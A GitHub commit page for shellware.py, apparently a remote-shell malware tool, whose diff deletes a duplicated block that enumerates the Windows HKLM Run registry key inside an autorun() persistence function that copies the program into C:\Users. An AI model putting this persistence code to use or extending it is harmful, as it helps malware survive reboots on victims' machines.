Skip to content

Commit 7ed8520

Browse files
author
NullArray
committed
Update shellware.py
1 parent bb4763b commit 7ed8520

File tree

1 file changed

+0
-12
lines changed

1 file changed

+0
-12
lines changed

shellware.py

Lines changed: 0 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -14,18 +14,6 @@ def autorun(dir, fileName, run):
1414
# Copy to C:\Users
1515
os.system('copy %s %s'%(fileName, dir))
1616

17-
# Queries Windows registry for the autorun key value
18-
key = OpenKey(HKEY_LOCAL_MACHINE, run)
19-
runkey =[]
20-
try:
21-
i = 0
22-
while True:
23-
subkey = EnumValue(key, i)
24-
runkey.append(subkey[0])
25-
i += 1
26-
except WindowsError:
27-
pass
28-
2917
# Queries Windows registry for the autorun key value
3018
# Stores the key values in runkey array
3119
key = OpenKey(HKEY_LOCAL_MACHINE, run)

0 commit comments

Comments
 (0)